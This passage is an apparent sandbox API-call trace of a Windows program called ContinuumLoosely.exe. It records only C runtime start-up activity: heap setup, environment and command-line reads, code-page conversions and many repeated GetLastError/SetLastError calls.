dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x515bfc)) [0024.456] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0024.456] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2020000 [0024.457] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.457] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0024.457] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0024.457] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0024.457] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0024.458] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x214) returned 0x20207d0 [0024.458] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.458] GetCurrentThreadId () returned 0x954 [0024.458] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x50d92b, hStdOutput=0x50dcd2, hStdError=0x20207d0)) [0024.458] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x800) returned 0x20209f0 [0024.458] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0024.459] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0024.459] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0024.459] SetHandleCount (uNumber=0x20) returned 0x20 [0024.459] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe\" " [0024.459] GetEnvironmentStringsW () returned 0x7b3b18* [0024.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0024.459] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x565) returned 0x20211f8 [0024.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x20211f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0024.459] FreeEnvironmentStringsW (penv=0x7b3b18) returned 1 [0024.459] GetLastError () returned 0x7a [0024.459] SetLastError (dwErrCode=0x7a) [0024.459] GetLastError () returned 0x7a [0024.459] SetLastError (dwErrCode=0x7a) [0024.459] GetLastError () returned 0x7a [0024.459] SetLastError (dwErrCode=0x7a) [0024.459] GetACP () returned 0x4e4 [0024.459] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x220) returned 0x2021768 [0024.459] GetLastError () returned 0x7a [0024.459] SetLastError (dwErrCode=0x7a) [0024.459] IsValidCodePage (CodePage=0x4e4) returned 1 [0024.459] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0024.459] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0024.459] GetLastError () returned 0x7a [0024.459] SetLastError (dwErrCode=0x7a) [0024.459] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.459] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0024.459] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0024.460] GetLastError () returned 0x7a [0024.460] SetLastError (dwErrCode=0x7a) [0024.460] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.460] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ刂̞阷QĀ") returned 256 [0024.460] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ刂̞阷QĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0024.460] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ刂̞阷QĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0024.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x15ÕÉ\r\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0024.460] GetLastError () returned 0x7a [0024.460] SetLastError (dwErrCode=0x7a) [0024.460] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.460] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ刂̞阷QĀ") returned 256 [0024.460] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ刂̞阷QĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0024.460] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ刂̞阷QĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0024.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x15ÕÉ\r\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0024.460] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x57f6d0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely.exe")) returned 0x3a [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.460] GetLastError () returned 0x0 [0024.460] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.461] SetLastError (dwErrCode=0x0) [0024.461] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.462] SetLastError (dwErrCode=0x0) [0024.462] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.463] SetLastError (dwErrCode=0x0) [0024.463] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.464] SetLastError (dwErrCode=0x0) [0024.464] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x43) returned 0x2021990 [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.465] GetLastError () returned 0x0 [0024.465] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.466] SetLastError (dwErrCode=0x0) [0024.466] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.467] SetLastError (dwErrCode=0x0) [0024.467] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] 